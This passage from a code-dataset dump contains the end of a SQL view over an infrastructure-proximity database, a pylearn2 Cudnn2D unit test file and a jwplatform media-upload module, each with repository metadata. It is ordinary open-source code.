pipeline_propertystatus p WHERE p.code::text = o.opportunity_property_status::text) AS opportunity_property_status_desc, o.nearest_transmission_line AS nearest_transmission_line_distance, ( SELECT l.name FROM pipeline_airportdistance d, pipeline_airport a, pipeline_location l WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id AND a.location_ptr_id = l.id) AS nearest_airport, ( SELECT a.description FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_type, ( SELECT a.aerodrome_status FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_aerodrome_status, ( SELECT a.aircraft_access_ind FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_aircraft_access_ind, ( SELECT a.elevation FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_airport_elevation, ( SELECT a.fuel_availability_ind FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_fuel_availability_ind, ( SELECT a.helicopter_access_ind FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_helicopter_access_ind, ( SELECT a.max_runway_length FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_max_runway_length, ( SELECT a.number_of_runways FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_number_of_runways, ( SELECT a.runway_surface FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_runway_surface, ( SELECT a.oil_availability_ind FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_oil_availability_ind, ( SELECT a.seaplane_access_ind FROM pipeline_airportdistance d, pipeline_airport a WHERE d.id = o.nearest_airport AND d.airport_id = a.location_ptr_id) AS nearest_airport_seaplane_access_ind, ( SELECT d.airport_distance FROM pipeline_airportdistance d WHERE d.id = o.nearest_airport) AS nearest_airport_distance, ( SELECT l.name FROM pipeline_firstresponderdistance d, pipeline_firstresponder f, pipeline_location l WHERE d.id = o.nearest_ambulance_station AND d.first_responder_id = f.location_ptr_id AND f.location_ptr_id = l.id) AS nearest_ambulance_station, ( SELECT d.first_responder_distance FROM pipeline_firstresponderdistance d WHERE d.id = o.nearest_ambulance_station) AS nearest_ambulance_station_distance, ( SELECT l.name FROM pipeline_firstresponderdistance d, pipeline_firstresponder f, pipeline_location l WHERE d.id = o.nearest_coast_guard_station AND d.first_responder_id = f.location_ptr_id AND f.location_ptr_id = l.id) AS nearest_coast_guard_station, ( SELECT d.first_responder_distance FROM pipeline_firstresponderdistance d WHERE d.id = o.nearest_coast_guard_station) AS nearest_coast_guard_station_distance, ( SELECT l.name FROM pipeline_customsportofentrydistance d, pipeline_customsportofentry c, pipeline_location l WHERE d.id = o.nearest_customs_port_of_entry AND d.port_id = c.location_ptr_id AND c.location_ptr_id = l.id) AS nearest_customs_port_of_entry, ( SELECT c.customs_port_type FROM pipeline_customsportofentrydistance d, pipeline_customsportofentry c WHERE d.id = o.nearest_customs_port_of_entry AND d.port_id = c.location_ptr_id) AS nearest_customs_port_type, ( SELECT c.customs_port_street_address FROM pipeline_customsportofentrydistance d, pipeline_customsportofentry c WHERE d.id = o.nearest_customs_port_of_entry AND d.port_id = c.location_ptr_id) AS nearest_customs_port_street_address, ( SELECT c.customs_port_municipality FROM pipeline_customsportofentrydistance d, pipeline_customsportofentry c WHERE d.id = o.nearest_customs_port_of_entry AND d.port_id = c.location_ptr_id) AS nearest_customs_port_municipality, ( SELECT d.customs_port_distance FROM pipeline_customsportofentrydistance d WHERE d.id = o.nearest_customs_port_of_entry) AS nearest_customs_port_of_entry_distance, ( SELECT l.name FROM pipeline_firstresponderdistance d, pipeline_firstresponder f, pipeline_location l WHERE d.id = o.nearest_fire_station AND d.first_responder_id = f.location_ptr_id AND f.location_ptr_id = l.id) AS nearest_fire_station, ( SELECT d.first_responder_distance FROM pipeline_firstresponderdistance d WHERE d.id = o.nearest_fire_station) AS nearest_fire_station_distance, ( SELECT l.name FROM pipeline_hospitaldistance d, pipeline_hospital h, pipeline_location l WHERE d.id = o.nearest_health_center AND d.hospital_id = h.location_ptr_id AND h.location_ptr_id = l.id) AS nearest_hospital, ( SELECT h.rg_name FROM pipeline_hospitaldistance d, pipeline_hospital h WHERE d.id = o.nearest_health_center AND d.hospital_id = h.location_ptr_id) AS nearest_hospital_region_name, ( SELECT h.hours FROM pipeline_hospitaldistance d, pipeline_hospital h WHERE d.id = o.nearest_health_center AND d.hospital_id = h.location_ptr_id) AS nearest_hospital_hours, ( SELECT h.sv_description FROM pipeline_hospitaldistance d, pipeline_hospital h WHERE d.id = o.nearest_health_center AND d.hospital_id = h.location_ptr_id) AS nearest_hospital_services, ( SELECT d.hospital_distance FROM pipeline_hospitaldistance d WHERE d.id = o.nearest_health_center) AS nearest_hospital_distance, ( SELECT r.name FROM pipeline_roadsandhighwaysdistance d, pipeline_roadsandhighways r WHERE d.id = o.nearest_highway AND d.highway_id = r.id) AS nearest_highway_name, ( SELECT r.road_name_alias1 FROM pipeline_roadsandhighwaysdistance d, pipeline_roadsandhighways r WHERE d.id = o.nearest_highway AND d.highway_id = r.id) AS nearest_highway_alias_1, ( SELECT r.road_name_alias2 FROM pipeline_roadsandhighwaysdistance d, pipeline_roadsandhighways r WHERE d.id = o.nearest_highway AND d.highway_id = r.id) AS nearest_highway_alias_2, ( SELECT r.number_of_lanes FROM pipeline_roadsandhighwaysdistance d, pipeline_roadsandhighways r WHERE d.id = o.nearest_highway AND d.highway_id = r.id) AS nearest_highway_number_of_lanes, ( SELECT d.highway_distance FROM pipeline_roadsandhighwaysdistance d WHERE d.id = o.nearest_highway) AS nearest_highway_distance, ( SELECT l.name FROM pipeline_lakedistance d, pipeline_lake l WHERE d.id = o.nearest_lake AND d.lake_id = l.id) AS nearest_lake, ( SELECT d.lake_distance FROM pipeline_lakedistance d WHERE d.id = o.nearest_lake) AS nearest_lake_distance, ( SELECT l.name FROM pipeline_firstresponderdistance d, pipeline_firstresponder f, pipeline_location l WHERE d.id = o.nearest_police_station AND d.first_responder_id = f.location_ptr_id AND f.location_ptr_id = l.id) AS nearest_police_station, ( SELECT d.first_responder_distance FROM pipeline_firstresponderdistance d WHERE d.id = o.nearest_police_station) AS nearest_police_station_distance, ( SELECT l.name FROM pipeline_portandterminaldistance d, pipeline_portandterminal p, pipeline_location l WHERE d.id = o.nearest_port AND d.port_id = p.location_ptr_id AND p.location_ptr_id = l.id) AS nearest_port, ( SELECT p.authority FROM pipeline_portandterminaldistance d, pipeline_portandterminal p WHERE d.id = o.nearest_port AND d.port_id = p.location_ptr_id) AS nearest_port_authority, ( SELECT p.description FROM pipeline_portandterminaldistance d, pipeline_portandterminal p WHERE d.id = o.nearest_port AND d.port_id = p.location_ptr_id) AS nearest_port_type, ( SELECT p.commodities_handled FROM pipeline_portandterminaldistance d, pipeline_portandterminal p WHERE d.id = o.nearest_port AND d.port_id = p.location_ptr_id) AS nearest_port_commodities_handled, ( SELECT p.physical_address FROM pipeline_portandterminaldistance d, pipeline_portandterminal p WHERE d.id = o.nearest_port AND d.port_id = p.location_ptr_id) AS nearest_port_address, ( SELECT d.port_distance FROM pipeline_portandterminaldistance d WHERE d.id = o.nearest_port) AS nearest_port_distance, ( SELECT l.name FROM pipeline_postsecondarydistance d, pipeline_postsecondaryinstitution p, pipeline_location l WHERE d.id = o.nearest_post_secondary AND d.location_id = p.location_ptr_id AND p.location_ptr_id = l.id) AS nearest_post_secondary_name, ( SELECT p.institution_type FROM pipeline_postsecondarydistance d, pipeline_postsecondaryinstitution p WHERE d.id = o.nearest_post_secondary AND d.location_id = p.location_ptr_id) AS nearest_post_secondary_type, ( SELECT d.location_distance FROM pipeline_postsecondarydistance d WHERE d.id = o.nearest_post_secondary) AS nearest_post_secondary_distance, ( SELECT r.name FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_railway_name, ( SELECT r.use_type FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_railway_use_type, ( SELECT r.number_of_tracks FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_railway_number_of_tracks, ( SELECT r.electrification FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_electrification, ( SELECT r.status FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_railway_status, ( SELECT r.track_classification FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_railway_track_class, ( SELECT r.operator_english_name FROM pipeline_railwaydistance d, pipeline_railway r WHERE d.id = o.nearest_railway AND d.railway_id = r.id) AS nearest_railway_operator, ( SELECT d.railway_distance FROM pipeline_railwaydistance d WHERE d.id = o.nearest_railway) AS nearest_railway_distance, ( SELECT l.name FROM pipeline_researchcentredistance d, pipeline_researchcentre r, pipeline_location l WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id AND r.location_ptr_id = l.id) AS nearest_research_centre, ( SELECT r.research_specialties FROM pipeline_researchcentredistance d, pipeline_researchcentre r WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id) AS nearest_research_specialties, ( SELECT r.research_centre_affiliation FROM pipeline_researchcentredistance d, pipeline_researchcentre r WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id) AS nearest_research_centre_affiliation, ( SELECT r.inst_acrnm FROM pipeline_researchcentredistance d, pipeline_researchcentre r WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id) AS nearest_research_centre_acronym, ( SELECT r.research_sector FROM pipeline_researchcentredistance d, pipeline_researchcentre r WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id) AS nearest_research_centre_research_sector, ( SELECT r.cntr_type FROM pipeline_researchcentredistance d, pipeline_researchcentre r WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id) AS nearest_research_centre_type, ( SELECT r.institution FROM pipeline_researchcentredistance d, pipeline_researchcentre r WHERE d.id = o.nearest_research_centre AND d.research_centre_id = r.location_ptr_id) AS nearest_research_centre_institution, ( SELECT d.research_centre_distance FROM pipeline_researchcentredistance d WHERE d.id = o.nearest_research_centre) AS nearest_research_center_distance, ( SELECT r.name FROM pipeline_riverdistance d, pipeline_river r WHERE d.id = o.nearest_river AND d.river_id = r.id) AS nearest_river, ( SELECT d.river_distance FROM pipeline_riverdistance d WHERE d.id = o.nearest_river) AS nearest_river_distance, o.opportunity_rental_price, o.opportunity_sale_price, ( SELECT c.place_name FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS community_name, ( SELECT c.community_type FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS community_type, ( SELECT c.band_number FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS band_number, ( SELECT c.fn_community_name FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS first_nation_community_name, ( SELECT c.nation FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS first_nation, ( SELECT c.num_courts FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS num_courts, ( SELECT c.num_hospitals FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS num_hospitals, ( SELECT c.num_schools FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS num_schools, ( SELECT c.num_timber_facilities FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS num_timber_facilities, ( SELECT c.incorporated FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS incorporated_ind, ( SELECT c.has_any_k12_school FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS has_any_k12_school_ind, ( SELECT c.is_coastal FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS is_coastal_ind, ( SELECT c.nearest_substation_distance FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS nearest_substation_distance, ( SELECT c.nearest_substation_name FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS nearest_substation_name, ( SELECT c.nearest_transmission_distance FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS nearest_transmission_distance, ( SELECT c.transmission_line_description FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS transmission_line_description, ( SELECT c.transmission_line_voltage FROM pipeline_communitydistance d, pipeline_community c WHERE d.id = o.nearest_community AND d.community_id = c.id) AS transmission_line_voltage, ( SELECT d.community_distance FROM pipeline_communitydistance d WHERE d.id = o.nearest_community) AS nearest_community_distance, ( SELECT m.name FROM pipeline_municipality m WHERE m.id = o.municipality_id) AS municipality, ( SELECT r.name FROM pipeline_regionaldistrict r WHERE r.id = o.regional_district_id) AS regional_district, o.network_at_road, o.network_avg FROM pipeline_opportunity o; """) ]

397

25,725

69

a3fc35eb5e2380fc537e6fcf21e7f38540d03f6c

6,045

py

Python

pylearn2/linear/tests/test_cudnn.py

ikervazquezlopez/Pylearn2

2971e8f64374ffde572d4cf967aad5342beaf5e0

[ "BSD-3-Clause" ]

2,045

2015-01-01T14:07:52.000Z

2022-03-08T08:56:41.000Z

pylearn2/linear/tests/test_cudnn.py

ikervazquezlopez/Pylearn2

2971e8f64374ffde572d4cf967aad5342beaf5e0

[ "BSD-3-Clause" ]

305

2015-01-02T13:18:24.000Z

2021-08-20T18:03:28.000Z

pylearn2/linear/tests/test_cudnn.py

ikervazquezlopez/Pylearn2

2971e8f64374ffde572d4cf967aad5342beaf5e0

[ "BSD-3-Clause" ]

976

2015-01-01T17:08:51.000Z

2022-03-25T19:53:17.000Z

""" Tests for the Cudnn code. """ __author__ = "Francesco Visin" __license__ = "3-clause BSD" __credits__ = "Francesco Visin" __maintainer__ = "Lisa Lab" import theano from theano import tensor from theano.sandbox.cuda.dnn import dnn_available from pylearn2.linear.conv2d import Conv2D from pylearn2.linear.cudnn2d import Cudnn2D, make_random_conv2D from pylearn2.space import Conv2DSpace from pylearn2.utils import sharedX from pylearn2.testing.skip import skip_if_no_gpu import unittest from nose.plugins.skip import SkipTest import numpy as np class TestCudnn(unittest.TestCase): """ Tests for the Cudnn code. Parameters ---------- Refer to unittest.TestCase. """ def setUp(self): """ Set up a test image and filter to re-use. """ skip_if_no_gpu() if not dnn_available(): raise SkipTest('Skipping tests cause cudnn is not available') self.orig_floatX = theano.config.floatX theano.config.floatX = 'float32' self.image = np.random.rand(1, 1, 3, 3).astype(theano.config.floatX) self.image_tensor = tensor.tensor4() self.input_space = Conv2DSpace((3, 3), 1, axes=('b', 'c', 0, 1)) self.filters_values = np.ones( (1, 1, 2, 2), dtype=theano.config.floatX ) self.filters = sharedX(self.filters_values, name='filters') self.batch_size = 1 self.cudnn2d = Cudnn2D(self.filters, self.batch_size, self.input_space) def tearDown(self): """ After test clean up. """ theano.config.floatX = self.orig_floatX def test_value_errors(self): """ Check correct errors are raised when bad input is given. """ with self.assertRaises(AssertionError): Cudnn2D(filters=self.filters, batch_size=-1, input_space=self.input_space) def test_get_params(self): """ Check whether the cudnn has stored the correct filters. """ self.assertEqual(self.cudnn2d.get_params(), [self.filters]) def test_get_weights_topo(self): """ Check whether the cudnn has stored the correct filters. """ self.assertTrue(np.all( self.cudnn2d.get_weights_topo(borrow=True) == np.transpose(self.filters.get_value(borrow=True), (0, 2, 3, 1)))) def test_lmul(self): """ Use conv2D to check whether the convolution worked correctly. """ conv2d = Conv2D(self.filters, self.batch_size, self.input_space, output_axes=('b', 'c', 0, 1),) f_co = theano.function([self.image_tensor], conv2d.lmul(self.image_tensor)) f_cu = theano.function([self.image_tensor], self.cudnn2d.lmul(self.image_tensor)) self.assertTrue(np.allclose(f_co(self.image), f_cu(self.image))) def test_set_batch_size(self): """ Make sure that setting the batch size actually changes the property. """ img_shape = self.cudnn2d._img_shape self.cudnn2d.set_batch_size(self.batch_size + 10) np.testing.assert_equal(self.cudnn2d._img_shape[0], self.batch_size + 10) np.testing.assert_equal(self.cudnn2d._img_shape[1:], img_shape[1:]) def test_axes(self): """ Test different output axes. Use different output axes and see whether the output is what we expect. """ default_axes = ('b', 'c', 0, 1) axes = (0, 'b', 1, 'c') another_axes = (0, 1, 'c', 'b') # 1, 3, 0, 2 map_to_default = tuple(axes.index(axis) for axis in default_axes) # 2, 0, 3, 1 map_to_another_axes = tuple(default_axes.index(axis) for axis in another_axes) input_space = Conv2DSpace((3, 3), num_channels=1, axes=another_axes) # Apply cudnn2d with `axes` as output_axes cudnn2d = Cudnn2D(self.filters, 1, input_space, output_axes=axes) f = theano.function([self.image_tensor], cudnn2d.lmul(self.image_tensor)) # Apply cudnn2d with default axes f_def = theano.function([self.image_tensor], self.cudnn2d.lmul(self.image_tensor)) # Apply f on the `another_axes`-shaped image output = f(np.transpose(self.image, map_to_another_axes)) # Apply f_def on self.image (b,c,0,1) output_def = np.array(f_def(self.image)) # transpose output to def output = np.transpose(output, map_to_default) np.testing.assert_allclose(output_def, output) np.testing.assert_equal(output_def.shape, output.shape) def test_channels(self): """ Go from 2 to 3 channels and see whether the shape is correct. """ input_space = Conv2DSpace((3, 3), num_channels=3) filters_values = np.ones( (2, 3, 2, 2), dtype=theano.config.floatX ) filters = sharedX(filters_values) image = np.random.rand(1, 3, 3, 3).astype(theano.config.floatX) cudnn2d = Cudnn2D(filters, 1, input_space) f = theano.function([self.image_tensor], cudnn2d.lmul(self.image_tensor)) assert f(image).shape == (1, 2, 2, 2) def test_make_random_conv2D(self): """ Test a random convolution. Create a random convolution and check whether the shape, axes and input space are all what we expect. """ output_space = Conv2DSpace((2, 2), 1) cudnn2d = make_random_conv2D(1, self.input_space, output_space, (2, 2), 1) f = theano.function([self.image_tensor], cudnn2d.lmul(self.image_tensor)) assert f(self.image).shape == (1, 2, 2, 1) assert cudnn2d._input_space == self.input_space assert cudnn2d._output_axes == output_space.axes

35.769231

79

0.603309

""" Tests for the Cudnn code. """ __author__ = "Francesco Visin" __license__ = "3-clause BSD" __credits__ = "Francesco Visin" __maintainer__ = "Lisa Lab" import theano from theano import tensor from theano.sandbox.cuda.dnn import dnn_available from pylearn2.linear.conv2d import Conv2D from pylearn2.linear.cudnn2d import Cudnn2D, make_random_conv2D from pylearn2.space import Conv2DSpace from pylearn2.utils import sharedX from pylearn2.testing.skip import skip_if_no_gpu import unittest from nose.plugins.skip import SkipTest import numpy as np class TestCudnn(unittest.TestCase): """ Tests for the Cudnn code. Parameters ---------- Refer to unittest.TestCase. """ def setUp(self): """ Set up a test image and filter to re-use. """ skip_if_no_gpu() if not dnn_available(): raise SkipTest('Skipping tests cause cudnn is not available') self.orig_floatX = theano.config.floatX theano.config.floatX = 'float32' self.image = np.random.rand(1, 1, 3, 3).astype(theano.config.floatX) self.image_tensor = tensor.tensor4() self.input_space = Conv2DSpace((3, 3), 1, axes=('b', 'c', 0, 1)) self.filters_values = np.ones( (1, 1, 2, 2), dtype=theano.config.floatX ) self.filters = sharedX(self.filters_values, name='filters') self.batch_size = 1 self.cudnn2d = Cudnn2D(self.filters, self.batch_size, self.input_space) def tearDown(self): """ After test clean up. """ theano.config.floatX = self.orig_floatX def test_value_errors(self): """ Check correct errors are raised when bad input is given. """ with self.assertRaises(AssertionError): Cudnn2D(filters=self.filters, batch_size=-1, input_space=self.input_space) def test_get_params(self): """ Check whether the cudnn has stored the correct filters. """ self.assertEqual(self.cudnn2d.get_params(), [self.filters]) def test_get_weights_topo(self): """ Check whether the cudnn has stored the correct filters. """ self.assertTrue(np.all( self.cudnn2d.get_weights_topo(borrow=True) == np.transpose(self.filters.get_value(borrow=True), (0, 2, 3, 1)))) def test_lmul(self): """ Use conv2D to check whether the convolution worked correctly. """ conv2d = Conv2D(self.filters, self.batch_size, self.input_space, output_axes=('b', 'c', 0, 1),) f_co = theano.function([self.image_tensor], conv2d.lmul(self.image_tensor)) f_cu = theano.function([self.image_tensor], self.cudnn2d.lmul(self.image_tensor)) self.assertTrue(np.allclose(f_co(self.image), f_cu(self.image))) def test_set_batch_size(self): """ Make sure that setting the batch size actually changes the property. """ img_shape = self.cudnn2d._img_shape self.cudnn2d.set_batch_size(self.batch_size + 10) np.testing.assert_equal(self.cudnn2d._img_shape[0], self.batch_size + 10) np.testing.assert_equal(self.cudnn2d._img_shape[1:], img_shape[1:]) def test_axes(self): """ Test different output axes. Use different output axes and see whether the output is what we expect. """ default_axes = ('b', 'c', 0, 1) axes = (0, 'b', 1, 'c') another_axes = (0, 1, 'c', 'b') # 1, 3, 0, 2 map_to_default = tuple(axes.index(axis) for axis in default_axes) # 2, 0, 3, 1 map_to_another_axes = tuple(default_axes.index(axis) for axis in another_axes) input_space = Conv2DSpace((3, 3), num_channels=1, axes=another_axes) # Apply cudnn2d with `axes` as output_axes cudnn2d = Cudnn2D(self.filters, 1, input_space, output_axes=axes) f = theano.function([self.image_tensor], cudnn2d.lmul(self.image_tensor)) # Apply cudnn2d with default axes f_def = theano.function([self.image_tensor], self.cudnn2d.lmul(self.image_tensor)) # Apply f on the `another_axes`-shaped image output = f(np.transpose(self.image, map_to_another_axes)) # Apply f_def on self.image (b,c,0,1) output_def = np.array(f_def(self.image)) # transpose output to def output = np.transpose(output, map_to_default) np.testing.assert_allclose(output_def, output) np.testing.assert_equal(output_def.shape, output.shape) def test_channels(self): """ Go from 2 to 3 channels and see whether the shape is correct. """ input_space = Conv2DSpace((3, 3), num_channels=3) filters_values = np.ones( (2, 3, 2, 2), dtype=theano.config.floatX ) filters = sharedX(filters_values) image = np.random.rand(1, 3, 3, 3).astype(theano.config.floatX) cudnn2d = Cudnn2D(filters, 1, input_space) f = theano.function([self.image_tensor], cudnn2d.lmul(self.image_tensor)) assert f(image).shape == (1, 2, 2, 2) def test_make_random_conv2D(self): """ Test a random convolution. Create a random convolution and check whether the shape, axes and input space are all what we expect. """ output_space = Conv2DSpace((2, 2), 1) cudnn2d = make_random_conv2D(1, self.input_space, output_space, (2, 2), 1) f = theano.function([self.image_tensor], cudnn2d.lmul(self.image_tensor)) assert f(self.image).shape == (1, 2, 2, 1) assert cudnn2d._input_space == self.input_space assert cudnn2d._output_axes == output_space.axes

0

1c3b62adbe33c307499ef5ecfd5530a3a22e0a35

10,715

py

Python

jwplatform/upload.py

jwplayer/jwplayer-py

2f478550414145e9d36b1cdf901dcf5360f8fe2b

[ "MIT" ]

37

2016-09-14T20:34:42.000Z

2022-02-15T06:47:21.000Z

jwplatform/upload.py

jwplayer/jwplayer-py

2f478550414145e9d36b1cdf901dcf5360f8fe2b

[ "MIT" ]

24

2016-11-16T21:36:13.000Z

2022-02-18T14:37:35.000Z

jwplatform/upload.py

jwplayer/jwplayer-py

2f478550414145e9d36b1cdf901dcf5360f8fe2b

[ "MIT" ]

45

2016-10-13T08:41:35.000Z

2022-03-06T02:31:23.000Z

import http.client import logging import math import os from dataclasses import dataclass from enum import Enum from hashlib import md5 from urllib.parse import urlparse MAX_PAGE_SIZE = 1000 MIN_PART_SIZE = 5 * 1024 * 1024 UPLOAD_BASE_URL = 'upload.jwplayer.com' MAX_FILE_SIZE = 25 * 1000 * 1024 * 1024 class UploadType(Enum): """ This class stores the enum values for the different type of uploads. """ direct = "direct" multipart = "multipart" @dataclass class UploadContext: """ This class stores the structure for an upload context so that it can be resumed later. """ """ This method evaluates whether an upload can be resumed based on the upload context state """ class MultipartUpload: """ This class manages the multi-part upload. """ @property @upload_context.setter def upload(self): """ This methods uploads the parts for the multi-part upload. Returns: """ if self._target_part_size < MIN_PART_SIZE: raise ValueError(f"The part size has to be at least greater than {MIN_PART_SIZE} bytes.") filename = self._file.name file_size = os.stat(filename).st_size part_count = math.ceil(file_size / self._target_part_size) if part_count > 10000: raise ValueError("The given file cannot be divided into more than 10000 parts. Please try increasing the " "target part size.") # Upload the parts self._upload_parts(part_count) # Mark upload as complete self._mark_upload_completion() class SingleUpload: """ This class manages the operations related to the upload of a media file via a direct link. """ @property @upload_context.setter def upload(self): """ Uploads the media file to the actual location as specified in the direct link. Returns: """ self._logger.debug(f"Starting to upload file:{self._file.name}") bytes_chunk = self._file.read() computed_hash = _get_bytes_hash(bytes_chunk) retry_count = 0 for _ in range(self._upload_retry_count): try: response = _upload_to_s3(bytes_chunk, self._upload_link) returned_hash = _get_returned_hash(response) # The returned hash is surrounded by '"' character if repr(returned_hash) != repr(f"\"{computed_hash}\""): raise DataIntegrityError( "The hash of the uploaded file does not match with the hash on the server.") self._logger.debug(f"Successfully uploaded file {self._file.name}.") return except (IOError, PartUploadError, DataIntegrityError, OSError) as err: self._logger.warning(err) self._logger.exception(err, stack_info=True) self._logger.warning(f"Encountered error uploading file {self._file.name}.") retry_count = retry_count + 1 if retry_count >= self._upload_retry_count: self._file.seek(0, 0) raise MaxRetriesExceededError(f"Max retries exceeded while uploading file {self._file.name}") \ from err except Exception as ex: self._file.seek(0, 0) self._logger.exception(ex) raise class DataIntegrityError(Exception): """ This class is used to wrap exceptions when the uploaded data failed a data integrity check with the current file part hash. """ pass class MaxRetriesExceededError(Exception): """ This class is used to wrap exceptions when the number of retries are exceeded while uploading a part. """ pass class PartUploadError(Exception): """ This class is used to wrap exceptions that occur because of part upload errors. """ pass class S3UploadError(PartUploadError): """ This class extends the PartUploadError exception class when the upload is done via S3. """ pass class UnrecoverableError(Exception): """ This class wraps exceptions that should not be recoverable or resumed from. """ pass

37.996454

120

0.629585

import http.client import logging import math import os from dataclasses import dataclass from enum import Enum from hashlib import md5 from urllib.parse import urlparse MAX_PAGE_SIZE = 1000 MIN_PART_SIZE = 5 * 1024 * 1024 UPLOAD_BASE_URL = 'upload.jwplayer.com' MAX_FILE_SIZE = 25 * 1000 * 1024 * 1024 class UploadType(Enum): """ This class stores the enum values for the different type of uploads. """ direct = "direct" multipart = "multipart" @dataclass class UploadContext: """ This class stores the structure for an upload context so that it can be resumed later. """ def __init__(self, upload_method, upload_id, upload_token, direct_link): self.upload_method = upload_method self.upload_id = upload_id self.upload_token = upload_token self.direct_link = direct_link """ This method evaluates whether an upload can be resumed based on the upload context state """ def can_resume(self) -> bool: return self.upload_token is not None \ and self.upload_method == UploadType.multipart.value \ and self.upload_id is not None def _upload_to_s3(bytes_chunk, upload_link): url_metadata = urlparse(upload_link) if url_metadata.scheme in 'https': connection = http.client.HTTPSConnection(host=url_metadata.hostname) else: connection = http.client.HTTPConnection(host=url_metadata.hostname) connection.request('PUT', upload_link, body=bytes_chunk) response = connection.getresponse() if 200 <= response.status <= 299: return response raise S3UploadError(response) def _get_bytes_hash(bytes_chunk): return md5(bytes_chunk).hexdigest() def _get_returned_hash(response): return response.headers['ETag'] class MultipartUpload: """ This class manages the multi-part upload. """ def __init__(self, client, file, target_part_size, retry_count, upload_context: UploadContext): self._upload_id = upload_context.upload_id self._target_part_size = target_part_size self._upload_retry_count = retry_count self._file = file self._client = client self._logger = logging.getLogger(self.__class__.__name__) self._upload_context = upload_context @property def upload_context(self): return self._upload_context @upload_context.setter def upload_context(self, value): self._upload_context = value def upload(self): """ This methods uploads the parts for the multi-part upload. Returns: """ if self._target_part_size < MIN_PART_SIZE: raise ValueError(f"The part size has to be at least greater than {MIN_PART_SIZE} bytes.") filename = self._file.name file_size = os.stat(filename).st_size part_count = math.ceil(file_size / self._target_part_size) if part_count > 10000: raise ValueError("The given file cannot be divided into more than 10000 parts. Please try increasing the " "target part size.") # Upload the parts self._upload_parts(part_count) # Mark upload as complete self._mark_upload_completion() def _upload_parts(self, part_count): try: filename = self._file.name remaining_parts_count = part_count total_page_count = math.ceil(part_count / MAX_PAGE_SIZE) for page_number in range(1, total_page_count + 1): batch_size = min(remaining_parts_count, MAX_PAGE_SIZE) page_length = MAX_PAGE_SIZE remaining_parts_count = remaining_parts_count - batch_size query_params = {'page_length': page_length, 'page': page_number} self._logger.debug( f'calling list method with page_number:{page_number} and page_length:{page_length}.') body = self._retrieve_part_links(query_params) upload_links = body['parts'] for returned_part in upload_links[:batch_size]: part_number = returned_part['id'] bytes_chunk = self._file.read(self._target_part_size) if part_number < batch_size and len(bytes_chunk) != self._target_part_size: raise IOError("Failed to read enough bytes") retry_count = 0 for _ in range(self._upload_retry_count): try: self._upload_part(bytes_chunk, part_number, returned_part) self._logger.debug( f"Successfully uploaded part {(page_number - 1) * MAX_PAGE_SIZE + part_number} " f"of {part_count} for upload id {self._upload_id}") break except (DataIntegrityError, PartUploadError, OSError) as err: self._logger.warning(err) retry_count = retry_count + 1 self._logger.warning( f"Encountered error upload part {(page_number - 1) * MAX_PAGE_SIZE + part_number} " f"of {part_count} for file {filename}.") 